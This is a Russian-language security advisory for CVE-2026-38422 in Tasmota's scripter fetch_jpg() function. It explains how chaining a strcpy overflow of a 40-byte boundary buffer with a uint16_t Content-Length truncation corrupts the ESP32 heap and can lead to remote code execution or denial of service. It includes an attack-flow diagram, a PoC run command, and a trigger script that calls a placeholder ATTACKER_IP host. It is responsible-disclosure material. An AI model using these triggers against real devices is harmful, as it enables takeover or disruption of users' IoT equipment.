
CVE-2026-38422 — удаленное выполнение кода через комбинированные переполнения буфера в fetch_jpg() в Tasmota (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38422
Severity: Критический (CVSS 9.8)
Product: Arendst Tasmota
Affected Version: <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg()
Author: Saidakbarxon Maxsudxonov
Disclosure: Ответственное раскрытие — сообщено команде Tasmota до публикации
Функция fetch_jpg() в драйвере скриптера Tasmota (xdrv_10_scripter.ino) содержит две усугубляющие друг друга уязвимости повреждения памяти, которые вместе позволяют удалённо выполнять код на устройствах на базе ESP32 под управлением Tasmota <= 15.3.0.3:
strcpy() в фиксированный 40-байтовый буфер boundary[] — повреждает смежную память кучи, включая указатели vtable WiFiClient/HTTPClient (см. также CVE-2026-38426)uint16_t при обработке Content-Length — выделяется недостаточный буфер, что приводит к повреждению состояния потока (см. также CVE-2026-38427)Используемые вместе в рамках одной атаки, эти два примитива максимизируют повреждение кучи и значительно увеличивают вероятность достижения произвольного выполнения кода.
Сервер MJPEG злоумышленника
│
│ Фаза 1: HTTP-ответ 200 с длинной строкой границы
│ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ символов)
│ → strcpy(boundary[40], 50_символов) → ПЕРЕПОЛНЕНИЕ
│ → указатель vtable WiFiClient частично перезаписан
▼
Куча ESP32 повреждена
│
│ Фаза 2: MJPEG-кадр с Content-Length > 65535
│ Content-Length: 65537
│ → uint16_t size = 1 (переполнение)
│ → malloc(1), readBytes(buff, 1)
│ → 65536 байт остаются в потоке → повреждение кучи/потока
▼
Двойное повреждение → RCE / Гарантированный отказ в обслуживании
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos
Сервер PoC:
fetchjp() триггер)Content-Length: 65537 (переполнение)См. полную реализацию в CVE-2026-38422_poc.py.
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
Устройство должно выполнять скрипт Tasmota, использующий fetchjp(). Злоумышленник управляет сервером, к которому подключается устройство (или выполняет MITM в существующем соединении).
Любое устройство Tasmota на базе ESP32, работающее с версией <= 15.3.0.3, с включённой поддержкой скриптера и скриптом, использующим fetchjp() для подключения к внешнему MJPEG-серверу.